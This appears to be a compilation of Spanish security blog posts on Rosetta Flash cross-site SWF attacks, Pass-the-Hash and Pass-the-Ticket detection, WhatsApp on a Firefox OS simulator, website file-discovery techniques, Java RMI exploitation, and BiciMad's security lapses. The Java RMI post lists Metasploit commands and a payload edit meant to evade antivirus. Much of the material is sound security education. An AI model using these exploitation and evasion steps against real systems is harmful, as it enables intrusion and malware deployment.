Cross-Site SWF Scripting con Rosetta para Flash

Cuando un sitio web está utilizando en alguna medida Adobe Flash, está poniendo en el cliente códigos que van a ser ejecutados no directamente en el navegador deInternet, sino en un plugin que se carga en él, el famoso - muchas veces por fallos de seguridad - Adobe Flash Player. Al ser una plugin completo que ejecuta un código propio - Action Script - se comporta como un navegador de Internet dentro de un navegador de Internet y por ello debe aplicar más o menos las mismas medidas de protección que toman hoy en día los navegadores, y a veces no lo hace correctamente.

Same-Origin Policy en Adobe con CrossDomain.xml

Una de las políticas de seguridad que implementan los navegadores de Internet es el Same-Origin Policy. Esta política hace que el código que se carga en una pestaña de un navegador pueda acceder a datos solo a páginas que son del mismo dominio, es decir, que un código JavaScript no podría nunca acceder a la cookie o ningún elemento que compongan la página servida desde otro dominio. Es por ello que para poder acceder a los datos de otra pestaña se utilizan, por ejemplo, los ataques deCross-Site Scripting, ya que consiguen inyectar código en la pestaña del dominio víctima.

En el caso de Adobe Flash y Adobe Acrobat, es el plugin es que debe forzar esa política de Same-Origin Policy y lo hace mediante la configuración de un fichero en la web de cada sitio, llamado CrossDomain.XML. Por defecto el acceso a datos desde otras ubicaciones está prohibido, pero el dueño de un sitio web puede permitir excepciones. Por ejemplo, si vamos a ver el fichero CrossDomain.XML de EBaypodemos ver que hay muchas excepciones en él.

Figura 1: Fichero CrossDomain.XML en Ebay

Sin embargo, existe una forma de saltarse la protección de Same-Origin Policy enAdobe Flash Player mediante la inyección de un fichero SWF en un ataque Cross-Site Scripting o CSRF, pero para ello hay que conseguir que el fichero NO sea servido desde ninguna ubicación externa, sino que sea servido desde el mismo sitio creándolo al vuelo.

Es decir, si se inyecta un código JavaScript que carga un SWF que venga desde una ubicación de terceros, entonces se aplicará Same-Origin Policy y no se podrá hacer nada, pero el plugin de Adobe Flash Player permite que se ejecuten ficheros SWFque desde las llamadas especificadas dentro del parámetro DATA luego si se consigue que esa URL devuelva un SWF aunque sea inyectándolo en un parámetro, se ejecutar. Es decir, si un atacante es capaz de inyectar byte a byte el código de un SWF en la respuesta de una web inyectable haciendo mirroring sin que el plugin tenga que ir a una ubicación tercera, la configuración de CrossDomain.xml no afectaría para nada a este esquema.

Ataques a JASONP API

El trabajo que va a ser presentado por el investigador Michele Spagnolo se ha basado en lo explicado anteriormente, es decir, en inyectar objetos SWF maliciosos en funciones vulnerables de un dominio víctima que van a ejecutar un código Action Script que robará los datos del usuario que se conecte a ese domino víctima. Algo que podríamos decir que es un Cross-Site SWF Scripting.

Para ello ha abusado de los puntos de llamada a las APIs de JASONP vulnerables. Estas APIs de JASONP son muy comunes en los grandes sitios web de Internet ya que permiten servir y consumir WebServices con llamadas en texto plano, indicando en el parámetro Callback de la API el nombre de la función a invocar, y luego los parámetros que deben pasarse. 

Figura 2: Inyección de SWF en el parámetro callback de un API JASONP

En APIs de JASONP en las que se pueda controlar la respuesta de los datos mediante la inyección en los parámetros de llamada por CallBack, un atacante podría aprovecharse de un bug de XSS, o lo que es aún más peligroso, de un bug de CSRFen la web e inyectar en ellos un objeto SWF malicioso escrito directamente en laURL que robara  las cookies de la víctima haciendo peticiones GET y/o POST a un servidor controlado.

Rosetta Tool

En este entorno hay dos limitaciones, la primera de ellas encontrar la función del API JASONP que permite controlar la salida, y que por lo visto no ha sido un reto paraMichele Spagnolo que ha visto como este ataque afectaba a Google, Ebay, Twitter, Tumblr, Instagram, etcétera, etcétera. Algunos de ellos, como Ebay oInstagram aún permanecen vulnerables.

La segunda de las limitaciones era la complejidad técnica más grande que había que saltar, y es que la API de JASONP generalmente solo permite entradas de valores en los parámetros que sean alfanuméricas, por lo que hay que conseguir que el objetoSWF que se inyecte en el parámetro esté codificado en ese formato. 

Figura 3: Concepto de Rosetta Tool

Habitualmente un fichero SWF es un archivo binario, y ahí es donde apareceRosetta. Lo que hace esta herramienta es, a partir de cualquier objeto binario SWFgenera un archivo comprimido con zlib que utiliza solo caracteres alfanuméricos, gracias a técnicas basadas en la codificación Huffman y algún ataque más. Todo esto lo explicará en su próxima charla en Hack in The Box, pero las diapositivas están ya disponibles.

Figura 4: Prueba de Concepto Universal escrita en Action Script 2 para ejecutar en la víctima

Esto permite generar ataques saltándose Same-Origin Policy, y para hacerlo más fácil ha creado una Prueba de Concepto Universal escrita en Action Script 2 que realiza la petición de los datos de entorno de una ubicación víctima a un servidor atacante. Puede ser descargada desde su repositorio en GitHUB.

Figura 5: Explotación de la POC con un Objeto Flash que debe ser cargado en el navegador de la víctima

La codificación con Rosetta del objeto malicioso es la que se ve en Data y para realizar el ataque completo hay que llamar con los parámetros URL y Exfiltratecorrectos.

Mitigaciones y estado actual

Por supuesto, Adobe no tardó en proveer de una actualización de seguridad para todos los Adobe Flash Players en Windows, Linux y Mac OS X con el objeto de evitar estos ataques mediante una nueva versión que revisa con mayor fortaleza los objetos que le entran escritos en las páginas web, pero como no todos los usuarios se actualizan hay aún muchos clientes vulnerables. Algunos como Apple, ha prohibido con XCode el uso de versiones de Adobe Flash Player en Apple Safari para OS Xvulnerables a esta técnica.

Por su parte, los sitos web con APIs JASONP que permiten al atacante controlar la salida de las respuestas están mirando cómo solucionar estos bugs. Algunos comoGoogle o Twitter ya lo han solucionado, pero aún quedan muchos otros por corregir estos fallos. Tú, por si acaso, actualiza tu Adobe Flash Player ahora mismo.

Fuente

Mitigación de ataques Pass-the-Hash y Pass-the-Ticket

Cuando una empresa tiene una red con Active Directory es necesario preocuparse por la seguridad de éste, ya que afecta a la seguridad de toda la organización. Dentro de las medidas de seguridad que se pueden poner se encuentran las que entran dentro de la fase de fortificación de la plataforma, más las que añaden los equipos de seguridad con el objetivo de proteger los activos, detectar los ataques y mitigar su impacto.

Fortificar un servidor Windows Server con Active Directory consiste en seleccionar cuáles deben ser los roles y características que debe tener un servidor y aplicar todas las medidas que cumplan los principios de Mínimo Punto de Exposición (MPE), Mínimo Privilegio Posible (MPP) y Defensa en Profundidad (DeP). Es decir, una vez definido qué y cómo debe trabajar Active Directory, se pone en producción fortificado.

No obstante, no siempre la fortificación del sistema cierra todos los posibles ataques, ya sea por necesidades de la empresa o por limitaciones de la tecnología. En ese punto hay que pensar qué medidas de terceros se pueden poner para añadir una capa extra de fortificación al sistema y qué mecanismos de monitorización se deben implementar para detectar cualquier posible ataque a esas debilidades y poder mitigar el impacto de un ataque.

Un ejemplo con la gestión de credenciales 

Para atacar el problema del robo de contraseñas de los usuarios se puede implementar un sistema de contraseñas complejas, de login basado en SmartCards o directamente deshabilitar las cuentas que tengan mala actividad dentro de la organización, pero ni aún así esto puede ser la solución definitiva en muchos casos, como vamos a ver. Por supuesto, nuestra propuesta para fortificar y dificultar el robo de credenciales es configurar Latch para Windows en Active Directory como una de esas medidas que permite fortificar el sistema de autorización del uso de identidades y así evitar que las contraseñas puedan ser robadas y utilizadas por un atacante.

Figura 1: Plugins de Latch para Windows Personal y Enterprise Edition

No obstante, a pesar de que se puedan poner muchas medidas de fortificación, aún existen multitud de ataques que pueden hacerse sin conocerse la contraseña de un usuario del sistema. Estos ataques pueden ser utilizados por un pentester contratado o por un atacante que esté en medio de un ataque dirigido contra la empresa. Estas técnicas de explotación de sistemas pueden realizarse como forma de pivotar de una máquina a otra cuando se ha conseguido comprometer previamente una máquina de la organización y pueden terminar convirtiéndose en un robo de la identidad para acceder a un montón de recursos dentro de la organización.

Ataques Pass-the-Hash 

Si se tiene una máquina comprometida y se consigue utilizar una técnica similar aMimikatz se podrían llegar a conseguir las contraseñas almacenadas localmente dentro del sistema operativo Windows controlado desde la organización, pero si no, con atacar a la base de datos de credenciales locales, con una herramienta como WCE (Windows Credentials Editor) sería posible acceder a los hashes NTLM de los usuarios almacenados localmente dentro de la máquina y utilizar una técnica como Pass-the-Hash para conseguir la autenticación en un recurso de la red directamente inyectando el hash NTLM extraído localmente del equipo en el proceso de autenticación LSASS, sin necesidad de utilizar la contraseña.

A partir de ese momento, en todo punto de control en el que se pueda o haya que realizar una autenticación NTLM a través del servicio de Network Logon, se realizará todo el proceso de cifrado del desafío de 16 bytes que provee el servidor de autenticación con el hash NTLM, sin importar para nada cuál fuera la contraseña. Es decir, no servirá para los procesos de inicio de sesión interactivos, pero sí para los inicios de sesión en red.

Desde el punto de vista del atacante, conseguir un hash para circular por la red será casi como conseguir la password, ya que el hash será válido mientras el usuario no cambie la contraseña. Es por eso que las buenas prácticas de fortificación de sistemasMicrosoft Windows hablan siempre de forzar al usuario a cambiarla periódicamente, limitando temporalmente el impacto que pueda haber tenido el robo de una contraseña o el robo de un hash NTLM.

Figura 2: Hernan Ochoa - WCE Internals [RootedCON 2011]

Esto, en las SmartCards o en los sistemas biométricos, por desgracia, no es así. Por un lado, cuando se decide utilizar un sistema de SmartCards o un sistema basado enbiometría, hemos conseguido reducir la posibilidad de que alguien copie la contraseña al sustituirla por algo que debe poseerse, ya sea un patrón biométrico o una SmartCard. Sin embargo, se ha inyectado un problema grave en el uso de las técnicas de Pass-the-Hash, ya que al final se usará un hash NTLM por debajo para el proceso de autenticación que nunca va a cambiar, al ser generado en el momento deenrollment en la cuenta de usuario de la SmartCard o la biometría. Es decir, si un usuario consigue robar el hash NTLM de una SmartCard, por ejemplo, podrá estar usándolo para autenticarse por NTLM siempre, ya que el hash no cambia nunca. 

En Windows 8.1, estas técnicas han cobrado un poco más de importancia con la aparición del Restricted Admin Mode en las conexiones RDP (Remote Desktop Protocol). Hasta el momento, la autenticación en un servidor para conseguir el inicio de sesión interactivo se hacía pasando un proceso que exigía poner la contraseña, o usar el inicio de sesión basado en credenciales cifradas RDP del que hemos hablado en los ataques Citrix/RDP, pero ahora en Windows 8.1 se puede usar el Restricted Admin Mode y pedir que la autenticación se haga vía Network Logon, lo que abre un nuevo servicio al ataque Pass-the-Hash. 

Figura 3: PoC de Ataque Pass-the-Hash en una conexión RDP

Como os puedes imaginar, esta es una técnica muy utilizada dentro de la explotación de redes Microsoft, y por supuesto está documentada dentro del libro de Ethical Hacking o en cualquier otro manual de realización de pentesting que se centre en el ataque a redes Microsoft Windows desde que hace años, en concreto en 2008,  el investigador argentino Hernán Ochoa (@hernano) la documentara en detalle. En supresentación de RootedCON 2011, podéis ver los detalles del trabajo que hizo.

Ataques Pass-the-Ticket 

Por supuesto, en un entorno con Active Directory, la autenticación NTLM no se usa en el acceso a la mayoría de los recursos de red de la organización, ya que el protocolo por defecto de Microsoft para realizar su autenticación bajo una arquitecturaSSO(Single Sign-On) es Kerberos. El esquema es sencillo, tras realizar un proceso de desafío contra el servicio de autenticación Authentication Service dentro delKDC(Key Distribution Center) de la organización Kerberos, el usuario recibe untoken que le permitirá solicitar autenticación en cada uno de los servicios que quiera acceder. Es el TGT (Ticket Granting Ticket) o "el ticket que concede tickets de acceso" y viene a ser un token que se utilizará como hash para firmar los futuros desafíos desde el servidor, al igual que el token NTLM se utiliza para confirmar que se tiene la password de la cuenta. 

Al final, el token TGT viene a ser como un hash NTLM pero que solo tiene validez durante un periodo de tiempo de sesión así que si es robado sólo se puede usar durante ese espacio temporal. A partir de ese momento, cuando un usuario quiere acceder a cualquier recurso, con su TGT pasa un proceso de validación en el KDCsolicitando el acceso a ese recurso, y si la cuenta representada por ese TGT está permitida, entonces se le entrega un TGS (Ticket Granting Service) o "el ticket que concede el servicio" y que se entregará al acceso del recurso. 

Figura 4: Extracción de tickets kerberos TGT y TGS

Por supuesto, las técnicas de Pass-the-Ticket funcionan de igual manera que las técnicas de Pass-the-Hash, pero utilizando el TGT en lugar del hash NTLM. Estos TGTestán limitados temporalmente, pero el tiempo puede ser razonablemente largo, ya que su renovación por defecto es cada 10 horas y alguien podría incluso extenderla hasta 7 días de vida, por lo que el atacante tendría la posibilidad de emitirse muchosTGS. Conseguir los TGT se pueden sacar igualmente del Windows Credential Storelocalmente, por lo que no se diferencia demasiado el proceso. 

Una curiosidad que tienen los TGT es que pueden utilizarse incluso después de que la cuenta haya sido borrada, deshabilitada o bloqueada, ya que la comprobación de salud de la cuenta se realiza dentro del dominio cada 20 minutos, pero si es una cuenta de usuario que viene con un TGT que no ha expirado desde un dominio remoto con el que se ha establecido una relación de confianza, entonces no se comprueba el estado de salud - es decir, que no esté bloqueada, borrada o deshabilitada - lo que le permitiría a un atacante seguir campando con un TGT de una cuenta zombie. 

¿Cómo detectar y mitigar estos ataques? 

En este artículo he hablado de Pass-the-Hash y Pass-the-Ticket por poner dos ejemplos de ataques que se producen en redes Microsoft Windows. Pass-the-Hashen entornos en los que no hay validación Kerberos (que pueden ser muchos, incluidas redes con Active Directory en puntos y situaciones concretas) y Pass-the-Tickets en entornos Kerberos como Active Directory. Pero el objetivo principal era haceros pensar en la respuesta a la pregunta que os hecho en esta sección. 

Lo cierto es que en un entorno Active Directory se pueden hacer muchos más abusos del sistema, como conectarse con cuentas de máquina usando una elevación de privilegios a System para enumerar los objetos del AD o hacer ataques de User-Guessing contra Kerberos. Además, podríamos tener el robo de un cuenta por parte de un usuario que estuviera siendo usada de forma anómala dentro de la red para acceder a documentos o información que va a ser robada de la empresa. 

Descubrir que en tiempo real se está produciendo alguno de estos ataques dentro de la red no es fácil. Si tenemos un IDS o un IPS dentro de la organización, habría que ser capaz de hacer Deep Packet Inspection de los protocolos de red utilizados por las redes Microsoft para localizar qué información se está utilizando. Habría que analizarKerberos, LLMR, CIFS, etcétera y generar reglas de inteligencia sobre la información que de ellos se pueda extraer, algo que por desgracia no es fácil de hacer hoy en día. 

Microsoft tiene una guía de fortificación para reducir el impacto de los ataques Pass-the-Hash y a mí personalmente me gusta la herramienta DAF de Aorato. Lo que ellos hacen es justamente eso, hacer DPI para detectar todos los ataques que se estén produciendo de Pass-the-Hash, Pass-the-Ticket, abuso del Active Directory, o simplemente comportamientos anómalos de las cuentas de usuario o de máquina dentro de la red.

Figura 5: Alertas de ataques Active Directory con Aorato DAF

Para ello, configuran un puerto mirror en el switch que lleva el tráfico al Active Directory al que conectan una sonda que captura y analiza el tráfico. Este se envía a un repositorio central donde se realiza el cruzado de datos y el análisis inteligente de la información, y se le envía al equipo de seguridad el listado de alertas que están siendo descubiertas por la red. Es decir, una herramienta de análisis de seguridad del tráfico de Active Directory y de equipos Windows para detectar cuándo un ataque se está produciendo en la red que solo podrías detectar si haces DPI a los protocolosMicrosoft. 

¿Se puede hacer sólo con el IDS? Seguro que sí. Al final analizar los protocolos deMicrosoft no es del todo imposible. Muchos de ellos están bien documentados. Poner la lógica por encima de ellos para detectar un ataque de Pass-the-Hash o de Pass-the-Ticket es posible también, pero no en muchas organizaciones he visto una protección que detecte los ataques Pass-the-Hash o Pass-the-Ticket. 

Fuente

Cómo usar Whatsapp desde tu PC con el simulador Firefox OS

Si hace unos meses veíamos cómo usar Whatsapp desde el PC con Pidgin y el plugin 'whatsapp-purple', hoy veremos otra manera también muy fácil: con el emulador de Firefox OS.

Empezaremos abriendo el Administrador de aplicaciones de Firefox escribiendo en la barra de direcciones: 

about:app-manager

En la parte inferior del administrador pulsaremos el botón 'Iniciar simulador': 

Como la primera vez no tendremos instalado el simulador procederemos a instalarlo:

En nuestro caso instalaremos la versión estable (1.3):  

Una vez instalado ya podremos iniciar el emulador:  

Ahora iremos al MarketPlace y buscaremos e instalaremos la aplicación ConnectA2, una aplicación de mensajería instantánea para Firefox OS compatible con Whatsapp:

Después indicaremos nuestro alias, el país, el número de teléfono y marcaremos la opción 'Whatsapp NET experimental'. Posteriormente recibiremos un SMS para validar el usuario:  

El siguiente paso será permitir que la aplicación acceda a nuestros contactos:  

Evidentemente nuestra lista de contactos aparecerá vacía, por lo que lo último que nos queda es añadir alguno para probar. En nuestro caso, lo importaremos desde una cuenta de Gmail:

Y ya podremos wasapear con nuestros contactos desde el emulador/ordenador!  

Fuente

Técnicas para descubrir los ficheros de un sitio web 1 de 2

Una de las cosas que es necesario realizar cuando se hace una auditoría es qué archivos hay en el servidor web, ya que en cualquiera de ellos puede estar la llave con que abrir la lata. Para ello existe una gran variedad de maneras de intentar encontrar todas las carpetas y ficheros que en el servidor web están "ocultos" a simple vista. Encontrarlos es un juego divertido similar a buscar las piezas de un puzzle que permitan ver la foto completa que se esconde tras el nombre de dominio original, y son diversas.

Muchas de estas técnicas están implementadas en FOCA, otras no, y como quiero que se implementen, este fin de semana pasado le dedique un tiempo a recopilarlas todas en una lista que me ha quedado un poco larga, por lo que os la voy a publicar en un par de posts. Estas son todas ellas:

1.- Crawling

La primera y más evidente es leer los códigos fuentes de las páginas web de un sitio y seguir todos los enlaces que de ellas se pueden extraer. Esto es algo quetradicionalmente hacemos con Burp Suite ya que podemos conectar la búsqueda de URLs con las pruebas de FOCA. El módulo de spidering es suficientemente bueno cómo para sacar un fichero con todas las rutas a archivos de un sitio.

Figura 1: Spidering con Burp

2.- Robots.txt

Estos archivos guardan rutas a documentos y carpetas, así que por si el crawling no hubiera encontrado todos, merece la pena darles una lectura a ver qué aparece por allí. Algunas veces pueden aparecer rutas sorprendentes como vimos con el robots.txt de RTVE o curiosas como el famoso robots.txt de la Casa Real.

3.- Sitemap.xml

Los archivos sitemap.xml también recogen ficheros y contenidos de un sito. Generalmente son URLs públicas con información para mejorar la indexación que de un sitio hacen los buscadores. Conviene sacar estas URLs y alimentar con ellas el motor de crawling, por si el sistema se hubiera parado antes de localizar una de esas direcciones.

Figura 2: El sitemap.xml de Casa Real a día de hoy

4.- Buscadores

Los buscadores pueden indexar URLs que hayan llegado a su base de datos por medio de un enlace directo que se haya puesto en alguna otra página - recordad el caso de los XSS-Google Persistentes - o porque alguna barra del navegador o el mismo Google Chrome, hayan reportado esa URL como el caso de Blogger y la predicción del futuro o el sofá del Bank of América. Hay que revisar los archivos indexados por los buscadores. Además, un fallo de configuración antiguo de un sitio puede haber sido utilizado para indexar los archivos, y están en la base de datos del buscador. Por supuesto, encontrar objetivos rápidos se puede hacer con el truco de la barra en Google.

5.- Directory Listing

Por supuesto, hay que revisar todas las carpetas de todas las URLs para encontrar aquellas que puedan tener un directory listing abierto. Esta es la mejor de las opciones, pues permite ver todo lo que hay en una carpeta sin necesidad de buscar más.

6.- Ficheros .listing

Los ficheros .listing, que son creados por el wget son un ls -la de la carpeta donde se ha subido o de donde se han descargado determinados ficheros. Aunque no tienen porque ser lo que haya en ese directorio, si que salen muchas URLs que deben ser probadas.

Figura 3: Aspecto de un fichero .listing

7.- Ficheros .DS_Store

Los ficheros .DS_Store generados por el infame Finder de Mac OS X han demostrado ser una fuente jugosa de información para obtener archivos y carpetas de un directorio, tal y como vimos esta semana con el programa DS_Store.

8.- Ficheros Thumbs.db

Los ficheros Thumbs.db también guardan nombres de archivos - y miniaturas - de los thumbnails asociados a los archivos en Windows XP o Windows 2003. Para analizar los ficheros thumbs.db podéis utilizar el servicio online que está disponible hace mucho tiempo en Informática64 llamado Thumbando.

Figura 4: Salida de Thumbando cuando se le pasa un Thums.db

9.- Repositorios de código fuente de los sitios web

En ellos suelen quedar ficheros que registran los archivos subidos y/o actualizados en cada post de un desarrollador. Sistemas como subversion o BuildBot pueden ser auténticas fuentes de información para conocer qué hay en un sitio web escondido, donde el amigo .SVN/Entries y su base de datos wc.db junto con el directorio pristine son un autentico regalo en una auditoria. 

10.- Ficheros de error 404

Los mensajes de error también pueden tirar rutas internas o del sitio web. De ellos merece la pena recordar los mensajes de error 404 en aplicaciones ASP migradas a IIS 7, o los mensajes de error 404 en documentos TCL de WebDNA.

Figura 5: Rutas en un mensaje de error 404 de IIS con ASP

Hasta aquí los 10 primeros sitios a mirar, en la segunda parte tienes otra buena tanda de sitios y formas para encontrar las URLs que nos lleven a los nombres de los ficheros, para así poder encontrar los que sean juicy files.

Fuente

Explotación de carga de clases de Java RMI con evasión de antivirus

Los servicios Java Remote Method Invocation (RMI) se utilizan en las aplicaciones para permitir que los objetos Java se puedan utilizar desde una ubicación remota sin necesidad de utilizar ningún tipo de autenticación. 

Si un cliente invoca la llamada a un método remoto, se pasa al servicio RMI toda la información del objeto Java para que luego sea ejecutado. Al pasar el objeto, el cliente también puede utilizar un cargador de clases que especifica dónde se puede encontrar el código de Java para manipular el objeto, que suele ser una URL apuntando a un archivo Jar. Sin autenticación o verificación, el servidor descarga el objeto Java y lo ejecuta con los mismos permisos que el servicio Java RMI (generalmente SYSTEM). 

Cualquiera puede tomar ventaja de este servicio RMI para cargar y ejecutar código Java en el sistema. Además se puede hacer usando Metasploit (busca java_rmi) y para la evasión del antivirus es posible hacer algunos pequeños cambios:

cd /usr/share/metasploit-framework/data/java/metasploit/
cp Payload.class Payload-backup.class
jad Payload.class
sed -i ‘s/spawn/runme/’ Payload.jad
mv Payload.jad to Payload.java
javac Payload.java

msf > use exploit/multi/misc/java_rmi_server
msf exploit(java_rmi_server) > show targets
...objetivos...
msf exploit(java_rmi_server) > set TARGET 
msf exploit(java_rmi_server) > show options
...muestra y configura opciones...
msf exploit(java_rmi_server) > exploit

Fuente: JavaRMI Remote Class Loading Exploitation with AV Bypass

BiciMad, BonoPark, un pene erecto y denuncias por doquier

En la capital del mundo para los que de allí somos, la bella y linda ciudad que está centrada en la antaño región de Carpetani, se lanzó con notable éxito de afluencia el servicio BiciMad, una plataforma para poder alquilar vehículos no motorizados de dos ruedas y dos pedales, para con un manillar jugarse la vida lidiando entre autobús de la EMT, el motorista que toma la rotonda de Cibeles en "casco rojo" y coche buscando parking para no pagar zona verde, que va a precio de "sirlion del güeno".

En una semana de puesta en marcha ya tenía 4.000 usuarios registrados en el sistema y se habían pedido más de 6.000 servicios de alquiler. Todo iba de dulce y la alcaldesa pudo hacerse una foto de esas que gustan a los políticos.

Figura 1: La alcaldesa de Madrid en la presentación de BiciMad

Pero...como la gente no aprende, una vez más BiciMad, o mejor dicho, BonoPark,la empresa adjudicataria se había olvidado de hacer los deberes en temas de seguridad, y la cagó, cual Kobe Bryant, haciendo un triple desde el medio del campo:

1) Mal dimensionamiento del servicio: Al poco del lanzamiento entre faustos y algarabías, el servicio se cayó. No es que hubieran sufrieran un ataque cibernético de DoS o DDoS, nada más lejos de la realidad. Simplemente el uso normal de los clientes en primera instancia llevó a la lona el servicio 

¿Cómo es posible que el servicio sufriera una denegación de servicio solo por la demanda de usuarios? Si esto ha sido así solo por el uso, hay que suponer que no tienen AntiDDoS ni nada similar, así que en el momento en que alguien le apunte una botnet o haga un ataque de amplificación, esto se va al suelo otra vez. 

Figura 2: Un kiosco de BiciMad sin servicio

2) Sin auditoría de seguridad web: Clama al cielo ver que en la auditoría que le hicieron inicialmente, con cariño y sin necesidad de que la solicitaran, se pudiera ver que se habían dejado hasta las claves de los certificados publicadas.

Figura 3: Directory Listing en la web de BiciMad y ficheros de claves .pem

Con sus directory listing, con sus APIs sin proteger y con el volcado de todos los datos de la base de datos. Eso sí, como ellos dicen, nunca han sido hackeados.

3) Los kioscos interactivos, también si auditar: Ni sé ni cuantas veces he insistido en que cuando pones un Punto Interactivo, o un kiosco en los que los usuarios tienen acceso físico, la cosa puede acabar en drama. Ya he publicado múltiples ejemplos de estos fallos, pero en esta ocasión enBiciMad, la cosa llegó a las manos, o mejor dicho, a los penes, y acabó sufriendo el defacement de un pene que ha dado la vuelta al mundo.

Figura 4: El vídeo del pene de marras en el Totem de BiciMad

Este ataque parece un homenaje al hacker que hizo algo parecido en laautopista de Moscú, poniendo un vídeo porno en un video-wall causando kilómetros y kilómetros de atascos, que sólo podrían haberse resuelto si los ciudadanos de Moscú pudieran disponer de un servicio de alquiler de bicicletas tipo BiciMoscú... oh, wait!

Dicho esto, ya los políticos aprovechan el caos que se está montando para cargar con el sistema de licitación, donde parece que la solvencia técnica ha sido lo menos valorado, y una vez más, la solvencia económica - o lo que es lo mismo, el que menos cobraba - se ha llevado el proyecto, dejando una pésima imagen de todo el proceso.

Figura 5: Bonopark denunciará a los atacantes de BiciMad

Eso sí, ahora han avisado que la empresa va a empezar a denunciar a todo el que hackee el sistema, según parece, por presiones del propio ayuntamiento. Espero que si se han llevado datos de los clientes, lo denuncien y los que tengan que velar por los datos robados de los ciudadanos tomen cartas en el asunto, que parece mentira que en el siglo XXI aún haya empresas que saquen cosas a Internet o la calle sin haber pasado una triste auditoría de seguridad externa.

Fuente